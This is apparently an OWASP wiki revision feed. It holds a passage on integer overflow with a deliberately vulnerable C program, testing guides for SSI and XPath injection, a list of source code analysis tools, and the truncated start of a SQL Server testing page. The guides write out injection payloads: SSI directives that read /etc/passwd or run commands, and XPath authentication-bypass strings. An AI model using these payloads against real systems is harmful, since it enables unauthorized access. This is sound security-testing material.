&lt;br /&gt;
Although such an operation will usually cause some type of exception, your application must be coded to check for such an exception and take proper action. Otherwise, your application would report that 192 + 208 equals 144.&lt;br /&gt;
&lt;br /&gt;
The following code demonstrates a buffer overflow, and was adapted from [http://www.phrack.org/issues.html?issue=60&amp;amp;id=10#article Blexim's Phrack article]:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void main(int argc, char *argv[]) {&lt;br /&gt;
    int i = atoi(argv[1]);         // input from user&lt;br /&gt;
    unsigned short s = i;          // truncate to a short&lt;br /&gt;
    char buf[50];                  // large buffer&lt;br /&gt;
&lt;br /&gt;
    if (s &amp;gt; 10) {                  // check we're not greater than 10&lt;br /&gt;
        return;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    memcpy(buf, argv[2], i);       // copy i bytes to the buffer&lt;br /&gt;
    buf[i] = '\0';                 // add a null byte to the buffer&lt;br /&gt;
    printf(&amp;quot;%s\n&amp;quot;, buf);           // output the buffer contents&lt;br /&gt;
&lt;br /&gt;
    return;&lt;br /&gt;
} &lt;br /&gt;
&lt;br /&gt;
[root /tmp]# ./inttest 65580 foobar&lt;br /&gt;
Segmentation fault&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The above code is exploitable because the validation does not occur on the input value (65580), but rather the value after it has been converted to an unsigned short (45). &lt;br /&gt;
&lt;br /&gt;
Integer overflows can be a problem in any language and can be exploited when integers are used in array indices and implicit short math operations. &lt;br /&gt;
&lt;br /&gt;
===How to determine if you are vulnerable ===&lt;br /&gt;
&lt;br /&gt;
* Examine use of signed integers, bytes, and shorts.&lt;br /&gt;
&lt;br /&gt;
* Are there cases where these values are used as array indices after performing an arithmetic operation (+, -, *, /, or % (modulo))?&lt;br /&gt;
&lt;br /&gt;
* How would your program react to a negative or zero value for integer values, particular during array lookups?&lt;br /&gt;
&lt;br /&gt;
===How to protect yourself ===&lt;br /&gt;
&lt;br /&gt;
* If using .NET, use David LeBlanc’s SafeInt class or a similar construct. Otherwise, use a &amp;quot;BigInteger&amp;quot; or &amp;quot;BigDecimal&amp;quot; implementation in cases where it would be hard to validate input yourself.&lt;br /&gt;
&lt;br /&gt;
* If your compiler supports the option, change the default for integers to be unsigned unless otherwise explicitly stated. Use unsigned integers whenever you don't need negative values.&lt;br /&gt;
&lt;br /&gt;
* Use range checking if your language or framework supports it, or be sure to implement range checking yourself after all arithmetic operations.&lt;br /&gt;
&lt;br /&gt;
* Be sure to check for exceptions if your language supports it.&lt;br /&gt;
&lt;br /&gt;
==Further reading ==&lt;br /&gt;
&lt;br /&gt;
* Team Teso, ''Exploiting Format String Vulnerabilities''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;http://crypto.stanford.edu/cs155/papers/formatstring-1.2.pdf&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Newsham, Tim, ''Format String Attacks&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;http://hackerproof.org/technotes/format/FormatString.pdf&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* w00 w00 and Matt Conover, ''Preliminary Heap Overflow Tutorial''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;http://www.w00w00.org/files/articles/heaptut.txt&amp;lt;/u&amp;gt; &lt;br /&gt;
&lt;br /&gt;
* Chris Anley, ''Creating Arbitrary Shellcode In Unicode Expanded Strings''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;http://www.ngssoftware.com/papers/unicodebo.pdf&amp;lt;/u&amp;gt; &lt;br /&gt;
&lt;br /&gt;
* David Leblanc, ''Integer Handling with the C++ SafeInt Class ''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dncode/html/secure01142004.asp&amp;lt;/u&amp;gt;     &lt;br /&gt;
&lt;br /&gt;
* Aleph One, ''Smashing the Stack for fun and profit''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;http://www.phrack.org/issues.html?issue=49&amp;amp;id=14#article&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Mark Donaldson, ''Inside the buffer Overflow Attack: Mechanism, method, &amp;amp; prevention''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;http://www.sans.org/reading_room/whitepapers/securecode/buffer-overflow-attack-mechanism-method-prevention_386&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* ''NX Bit'', Wikipedia article&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;http://en.wikipedia.org/wiki/NX_bit&amp;lt;/u&amp;gt; &lt;br /&gt;
&lt;br /&gt;
* Horizon'', How to bypass Solaris no execute stack protection&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;http://www.secinf.net/unix_security/How_to_bypass_Solaris_nonexecutable_stack_protection_.html&amp;lt;/u&amp;gt; &lt;br /&gt;
&lt;br /&gt;
* Alexander Anisimov'', Defeating Microsoft Windows XP SP2 Heap protection and DEP bypass'', Positive Technologies&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;http://www.ptsecurity.com/download/defeating-xpsp2-heap-protection.pdf&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Matt Conover, w00w00 on Heap Overflows, w00w00 Security Team&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;http://www.w00w00.org/files/articles/heaptut.txt&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Blexim, ''Basic Integer Overflows&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;http://www.phrack.org/issues.html?issue=60&amp;amp;id=10#article&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* StackShield&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;http://www.angelfire.com/sk/stackshield/index.html&amp;lt;/u&amp;gt; &lt;br /&gt;
&lt;br /&gt;
* StackGuard&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;https://en.wikibooks.org/wiki/GNU_C_Compiler_Internals/Stackguard_4_1&amp;lt;/u&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;u&amp;gt;http://static.usenix.org/publications/library/proceedings/sec98/full_papers/cowan/cowan_html/cowan.html&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Libsafe&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;http://directory.fsf.org/wiki/Libsafe&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Guide Table of Contents|Development Guide Table of Contents]]&lt;br /&gt;
[[Category:OWASP_Guide_Project]]&lt;/div&gt;</summary>
		<author><name>Shady</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SSI_Injection_(OTG-INPVAL-009)&amp;diff=151389</id>
		<title>Testing for SSI Injection (OTG-INPVAL-009)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SSI_Injection_(OTG-INPVAL-009)&amp;diff=151389"/>
				<updated>2013-05-12T13:04:47Z</updated>
		
		<summary type="html">&lt;p&gt;Shady: References&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Web servers usually give developers the ability to add small pieces of dynamic code inside static HTML pages, without having to deal with full-fledged server-side or client-side languages. This feature is incarnated by the '''[[Server-Side Includes %28SSI%29 Injection|Server-Side Includes]]''' ('''SSI'''). In SSI injection testing, we test if it is possible to inject into the application data that will be interpreted by SSI mechanisms. A successful exploitation of this vulnerability allows an attacker to inject code into HTML pages or even perform remote code execution.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue ==&lt;br /&gt;
&lt;br /&gt;
Server-Side Includes are directives that the web server parses before serving the page to the user. They represent an alternative to writing CGI programs or embedding code using server-side scripting languages, when there's only need to perform very simple tasks. Common SSI implementations provide commands to include external files, to set and print web server CGI environment variables, and to execute external CGI scripts or system commands.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Putting an SSI directive into a static HTML document is as easy as writing a piece of code like the following:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!--#echo var=&amp;quot;DATE_LOCAL&amp;quot; --&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
to print out the current time.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!--#include virtual=&amp;quot;/cgi-bin/counter.pl&amp;quot; --&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
to include the output of a CGI script.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!--#include virtual=&amp;quot;/footer.html&amp;quot; --&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
to include the content of a file or list files in a directory.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!--#exec cmd=&amp;quot;ls&amp;quot; --&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
to include the output of a system command.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Then, if the web server's SSI support is enabled, the server will parse these directives. In the default configuration, usually, most web servers don't allow the use of the '''''exec''''' directive to execute system commands.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As in every bad input validation situation, problems arise when the user of a web application is allowed to provide data that makes the application or the web server behave in an unforeseen manner. With regard to SSI injection, the attacker could provide input that, if inserted by the application (or maybe directly by the server) into a dynamically generated page, would be parsed as one or more SSI directives.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This is a vulnerability very similar to a classical scripting language injection vulnerability. One mitigation is that the web server needs to be configured to allow SSI. On the other hand, SSI injection vulnerabilities are often simpler to exploit, since SSI directives are easy to understand and, at the same time, quite powerful, e.g., they can output the content of files and execute system commands.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing ==&lt;br /&gt;
&lt;br /&gt;
The first thing to do when testing in a Black Box fashion is finding if the web server actually supports SSI directives. Often, the answer is yes, as SSI support is quite common. To find out we just need to discover which kind of web server is running on our target, using classic information gathering techniques.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Whether we succeed or not in discovering this piece of information, we could guess if SSI are supported just by looking at the content of the target web site. If it contains '''''.shtml''''' files, then SSI are probably supported, as this extension is used to identify pages containing these directives. Unfortunately, the use of the '''''shtml''''' extension is not mandatory, so not having found any '''''shtml''''' files doesn't necessarily mean that the target is not prone to SSI injection attacks.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The next step consists of determining if an SSI injection attack is actually possible and, if so, what are the input points that we can use to inject our malicious code.&amp;lt;br&amp;gt;&lt;br /&gt;
The testing activity required to do this is exactly the same used to test for other code injection vulnerabilities. In particular, we need to find every page where the user is allowed to submit some kind of input, and verify whether the application is correctly validating the submitted input. If sanitization is insufficient, we need to test if we can provide data that is going to be displayed unmodified (for example, in an error message or forum post). Besides common user-supplied data, input vectors that should always be considered are HTTP request headers and cookies content, since they can be easily forged.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Once we have a list of potential injection points, we can check if the input is correctly validated and then find out where the provided input is stored. We need to make sure that we can inject characters used in SSI directives:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt; ! # = / . &amp;quot; - &amp;gt; and [a-zA-Z0-9]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To test if validation is insufficient, we can input, for example, a string like the following in an input form:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!--#include virtual=&amp;quot;/etc/passwd&amp;quot; --&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This is similar to testing for XSS vulnerabilities using&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;alert(&amp;quot;XSS&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the application is vulnerable, the directive is injected and it would be interpreted by the server the next time the page is served, thus including the content of the Unix standard password file.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The injection can be performed also in HTTP headers, if the web application is going to use that data to build a dynamically generated page:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET / HTTP/1.0&lt;br /&gt;
Referer: &amp;lt;!--#exec cmd=&amp;quot;/bin/ps ax&amp;quot;--&amp;gt;&lt;br /&gt;
User-Agent: &amp;lt;!--#include virtual=&amp;quot;/proc/version&amp;quot;--&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
&lt;br /&gt;
If we have access to the application source code, we can quite easily find out:&amp;lt;br&amp;gt;&lt;br /&gt;
# If SSI directives are used. If they are, then the web server is going to have SSI support enabled, making SSI injection at least a potential issue to investigate.&amp;lt;br&amp;gt;&lt;br /&gt;
# Where user input, cookie content and HTTP headers are handled. The complete list of input vectors is then quickly determined.&amp;lt;br&amp;gt;&lt;br /&gt;
# How the input is handled, what kind of filtering is performed, what characters the application is not letting through, and how many types of encoding are taken into account.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Performing these steps is mostly a matter of using grep to find the right keywords inside the source code (SSI directives, CGI environment variables, variables assignment involving user input, filtering functions and so on).&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Apache Tutorial: &amp;quot;Introduction to Server Side Includes&amp;quot; - http://httpd.apache.org/docs/1.3/howto/ssi.html&amp;lt;br&amp;gt;&lt;br /&gt;
* Apache: &amp;quot;Module mod_include&amp;quot; - http://httpd.apache.org/docs/1.3/mod/mod_include.html&amp;lt;br&amp;gt;&lt;br /&gt;
* Apache: &amp;quot;Security Tips for Server Configuration&amp;quot; - http://httpd.apache.org/docs/1.3/misc/security_tips.html#ssi&amp;lt;br&amp;gt;&lt;br /&gt;
* Header Based Exploitation - http://www.cgisecurity.net/papers/header-based-exploitation.txt&amp;lt;br&amp;gt;&lt;br /&gt;
* SSI Injection instead of JavaScript Malware - http://jeremiahgrossman.blogspot.com/2006/08/ssi-injection-instead-of-javascript.html&lt;br /&gt;
* IIS: &amp;quot;Notes on Server-Side Includes (SSI) syntax&amp;quot; - http://blogs.iis.net/robert_mcmurray/archive/2010/12/28/iis-notes-on-server-side-includes-ssi-syntax-kb-203064-revisited.aspx&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Web Proxy Burp Suite - http://portswigger.net&lt;br /&gt;
* Paros - http://www.parosproxy.org/index.shtml&lt;br /&gt;
* [[OWASP WebScarab Project|WebScarab]]&lt;br /&gt;
* String searcher: grep - http://www.gnu.org/software/grep, your favorite text editor&lt;/div&gt;</summary>
		<author><name>Shady</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_XPath_Injection_(OTG-INPVAL-010)&amp;diff=151388</id>
		<title>Testing for XPath Injection (OTG-INPVAL-010)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_XPath_Injection_(OTG-INPVAL-010)&amp;diff=151388"/>
				<updated>2013-05-12T12:45:34Z</updated>
		
		<summary type="html">&lt;p&gt;Shady: References&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
XPath is a language that has been designed and developed primarily to address parts of an XML document. In [[XPATH Injection|XPath injection]] testing, we test if it is possible to inject data into an application so that it executes user-controlled XPath queries. When successfully exploited, this vulnerability may allow an attacker to bypass authentication mechanisms or access information without proper authorization.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
Web applications heavily use databases to store and access the data they need for their operations. Historically, relational databases have been by far the most common technology for data storage, but, in the last years, we are witnessing an increasing popularity for databases that organize data using the XML language. Just like relational databases are accessed via SQL language, XML databases use XPath as their standard query language. Since, from a conceptual point of view, XPath is very similar to SQL in its purpose and applications, an interesting result is that XPath injection attacks follow the same logic as [[SQL Injection]] attacks. In some aspects, XPath is even more powerful than standard SQL, as its whole power is already present in its specifications, whereas a large number of the techniques that can be used in a SQL Injection attack depend on the characteristics of the SQL dialect used by the target database. This means that XPath injection attacks can be much more adaptable and ubiquitous. Another advantage of an XPath injection attack is that, unlike SQL, no ACLs are enforced, as our query can access every part of the XML document.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
The XPath attack pattern was first published by Amit Klein [1] and is very similar to the usual SQL Injection. In order to get a first grasp of the problem, let's imagine a login page that manages the authentication to an application in which the user must enter his/her username and password. Let's assume that our database is represented by the following XML file:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
&amp;lt;user&amp;gt; &lt;br /&gt;
&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
&amp;lt;account&amp;gt;admin&amp;lt;/account&amp;gt; &lt;br /&gt;
&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;user&amp;gt; &lt;br /&gt;
&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
&amp;lt;account&amp;gt;guest&amp;lt;/account&amp;gt; &lt;br /&gt;
&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;user&amp;gt; &lt;br /&gt;
&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
&amp;lt;account&amp;gt;guest&amp;lt;/account&amp;gt; &lt;br /&gt;
&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
An XPath query that returns the account whose username is &amp;quot;gandalf&amp;quot; and the password is &amp;quot;!c3&amp;quot; would be the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
string(//user[username/text()='gandalf' and password/text()='!c3']/account/text()) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
If the application does not properly filter user input, the tester will be able to inject XPath code and interfere with the query result. For instance, the tester could input the following values:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Username: ' or '1' = '1 &lt;br /&gt;
Password: ' or '1' = '1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Looks quite familiar, doesn't it? &lt;br /&gt;
Using these parameters, the query becomes: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
string(//user[username/text()='' or '1' = '1' and password/text()='' or '1' = '1']/account/text()) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
As in a common SQL Injection attack, we have created a query that always evaluates to true, which means that the application will authenticate the user even if a username or a password have not been provided.&lt;br /&gt;
&lt;br /&gt;
And as in a common SQL Injection attack, with XPath injection, the first step is to insert a single quote (') in the field to be tested, introducing a syntax error in the query, and to check whether the application returns an error message. &lt;br /&gt;
&lt;br /&gt;
If there is no knowledge about the XML data internal details and if the application does not provide useful error messages that help us reconstruct its internal logic, it is possible to perform a [[Blind XPath Injection]] attack, whose goal is to reconstruct the whole data structure. The technique is similar to inference based SQL Injection, as the approach is to inject code that creates a query that returns one bit of information. [[Blind XPath Injection]] is explained in more detail by Amit Klein in the referenced paper.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* [1] Amit Klein: &amp;quot;Blind XPath Injection&amp;quot; - http://www.modsecurity.org/archive/amit/blind-xpath-injection.pdf&lt;br /&gt;
* [2] XPath 1.0 specifications - http://www.w3.org/TR/xpath&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Shady</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Source_Code_Analysis_Tools&amp;diff=130819</id>
		<title>Source Code Analysis Tools</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Source_Code_Analysis_Tools&amp;diff=130819"/>
				<updated>2012-06-01T09:13:10Z</updated>
		
		<summary type="html">&lt;p&gt;Shady: fix RATS link&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Source Code Analysis tools are designed to analyze source code and/or compiled version of code in order to help find security flaws. Ideally, such tools would automatically find security flaws with a high degree of confidence that what is found is indeed a flaw. However, this is beyond the state of the art for many types of application security flaws. Thus, such tools frequently serve as aids for an analyst to help them zero in on security relevant portions of code so they can find flaws more efficiently, rather than a tool that simply finds flaws automatically.&lt;br /&gt;
&lt;br /&gt;
Some tools are starting to move into the IDE. For the types of problems that can be detected during the software development phase itself, this is a powerful phase within the development lifecycle to employ such tools, as it provides immediate feedback to the developer on issues they might be introducing into the code during code development itself. This immediate feedback is very useful as compared to finding vulnerabilities much later in the development cycle.&lt;br /&gt;
&lt;br /&gt;
==Strengths and Weaknesses of such tools==&lt;br /&gt;
&lt;br /&gt;
=== Strengths ===&lt;br /&gt;
* Scales Well (Can be run on lots of software, and can be repeatedly (like in nightly builds))&lt;br /&gt;
* For things that such tools can automatically find with high confidence, such as buffer overflows, SQL Injection Flaws, etc. they are great.&lt;br /&gt;
&lt;br /&gt;
=== Weaknesses ===&lt;br /&gt;
* Many types of security vulnerabilities are very difficult to find automatically, such as authentication problems, access control issues, insecure use of cryptography, etc. The current state of the art only allows such tools to automatically find a relatively small percentage of application security flaws. Tools of this type are getting better, however.&lt;br /&gt;
* High numbers of false positives.&lt;br /&gt;
* Frequently can't find configuration issues, since they are not represented in the code.&lt;br /&gt;
* Difficult to 'prove' that an identified security issue is an actual vulnerability.&lt;br /&gt;
* Many of these tools have difficulty analyzing code that can't be compiled. Analysts frequently can't compile code because they don't have the right libraries, all the compilation instructions, all the code, etc.&lt;br /&gt;
&lt;br /&gt;
==Important Selection Criteria==&lt;br /&gt;
&lt;br /&gt;
* Requirement: Must support your language, but not usually a key factor once it does.&lt;br /&gt;
&lt;br /&gt;
* Types of Vulnerabilities it can detect (Out of the OWASP Top Ten?) (plus more?)&lt;br /&gt;
* Does it require a fully buildable set of source?&lt;br /&gt;
* Can it run against binaries instead of source?&lt;br /&gt;
* Can it be integrated into the developer's IDE?&lt;br /&gt;
* License cost for the tool. (Some are sold per user, per org, per app, per line of code analyzed. Consulting licenses are frequently different than end user licenses.)&lt;br /&gt;
&lt;br /&gt;
==OWASP Tools Of This Type==&lt;br /&gt;
* [http://www.owasp.org/index.php/Category:OWASP_Orizon_Project OWASP Orizon Project]&lt;br /&gt;
* [[OWASP_LAPSE_Project | OWASP LAPSE Project]]&lt;br /&gt;
* [[OWASP O2 Platform]]&lt;br /&gt;
&lt;br /&gt;
==Open Source or Free Tools Of This Type==&lt;br /&gt;
&lt;br /&gt;
* [http://www.stachliu.com/resources/tools/google-hacking-diggity-project/attack-tools/ Google CodeSearchDiggity] - Utilizes Google Code Search to identifies vulnerabilities in open source code projects hosted by Google Code, MS CodePlex, SourceForge, Github, and more. The tool comes with over 130 default searches that identify SQL injection, cross-site scripting (XSS), insecure remote and local file includes, hard-coded passwords, and much more.  ''Essentially, Google CodeSearchDiggity provides a source code security analysis of nearly every single open source code project in existence – simultaneously.'' &lt;br /&gt;
* [http://findbugs.sourceforge.net/ FindBugs] - Find Bugs (including some security flaws) in Java Programs&lt;br /&gt;
* [http://msdn.microsoft.com/en-us/library/bb429476(VS.80).aspx FxCop] (Microsoft) - FxCop is an application that analyzes managed code assemblies (code that targets the .NET Framework common language runtime) and reports information about the assemblies, such as possible design, localization, performance, and security improvements.&lt;br /&gt;
* [http://pmd.sourceforge.net/ PMD] - PMD scans Java source code and looks for potential code problems (this is a code quality tool that does not focus on security issues)&lt;br /&gt;
* [http://msdn.microsoft.com/en-us/library/ms933794.aspx PreFast] (Microsoft) - PREfast is a static analysis tool that identifies defects in C/C++ programs&lt;br /&gt;
* [https://www.fortify.com/ssa-elements/threat-intelligence/rats.html RATS] (Fortify) - Scans C, C++, Perl, PHP and Python source code for security problems like buffer overflows and TOCTOU (Time Of Check, Time Of Use) race conditions&lt;br /&gt;
* [http://www.securitycompass.com/inner_swaat.shtml SWAAT] - Simplistic Beta Tool - Languages: Java, JSP, ASP .Net, and PHP&lt;br /&gt;
* [http://www.dwheeler.com/flawfinder/ Flawfinder] Flawfinder - Scans C and C++&lt;br /&gt;
* [http://sourceforge.net/projects/rips-scanner/ RIPS] - RIPS is a static source code analyzer for vulnerabilities in PHP web applications&lt;br /&gt;
&lt;br /&gt;
==Commercial Tools from OWASP Members Of This Type==&lt;br /&gt;
&lt;br /&gt;
These vendors have decided to support OWASP by becoming [[Membership|members]]. OWASP appreciates the support from these organizations, but cannot endorse any commercial products or services.&lt;br /&gt;
&lt;br /&gt;
* [http://www.armorize.com/corpweb/en/products/codesecure Static Source Code Analysis with CodeSecure™] (Armorize Technologies)&lt;br /&gt;
* [http://www.artofdefence.com/en/hypersource/hypersource.html Static Source Code Analysis with hypersource] (art of defence)&lt;br /&gt;
* [http://www.fortifysoftware.com/products/sca.jsp Source Code Analysis] (HP/Fortify)&lt;br /&gt;
* [http://www.veracode.com/ Veracode] (Veracode)&lt;br /&gt;
&lt;br /&gt;
==Other Well Known Commercial Tools Of This Type==&lt;br /&gt;
&lt;br /&gt;
* [http://www.checkmarx.com/Products.aspx?id=3 CxSuite] (Checkmarx)&lt;br /&gt;
* [http://www.coverity.com/products/prevent.html Prevent] (Coverity)&lt;br /&gt;
* [http://www-01.ibm.com/software/awdtools/appscan/ IBM AppScan Source Edition] (formerly Ounce)&lt;br /&gt;
* [http://www.klocwork.com/products/insight.asp Insight] (KlocWork)&lt;br /&gt;
* [http://www.parasoft.com/jsp/capabilities/static_analysis.jsp?itemId=547 Parasoft Test] (Parasoft)&lt;br /&gt;
&lt;br /&gt;
==More Info==&lt;br /&gt;
&lt;br /&gt;
* TODO: add comments from: http://lists.owasp.org/pipermail/owasp-dotnet/2006-August/000002.html&lt;br /&gt;
* [[Appendix_A:_Testing_Tools | Appendix A: Testing Tools]]&lt;br /&gt;
* [http://samate.nist.gov/index.php/Source_Code_Security_Analyzers NIST's list of Source Code Security Analysis Tools]&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP .NET Project]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Shady</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Server&amp;diff=130088</id>
		<title>Testing for SQL Server</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Server&amp;diff=130088"/>
				<updated>2012-05-18T09:58:33Z</updated>
		
		<summary type="html">&lt;p&gt;Shady: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
In this section some [[SQL Injection]] techniques that utilize specific features of Microsoft SQL Server will be discussed.&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
SQL injection vulnerabilities occur whenever input is used in the construction of an SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers and execute SQL code under the privileges of the user used to connect to the database.&lt;br /&gt;
&lt;br /&gt;
As explained in [[SQL injection]], a SQL-injection exploit requires two things: an entry point and an exploit to enter. Any user-controlled parameter that gets processed by the application might be hiding a vulnerability. This includes:&lt;br /&gt;
&lt;br /&gt;
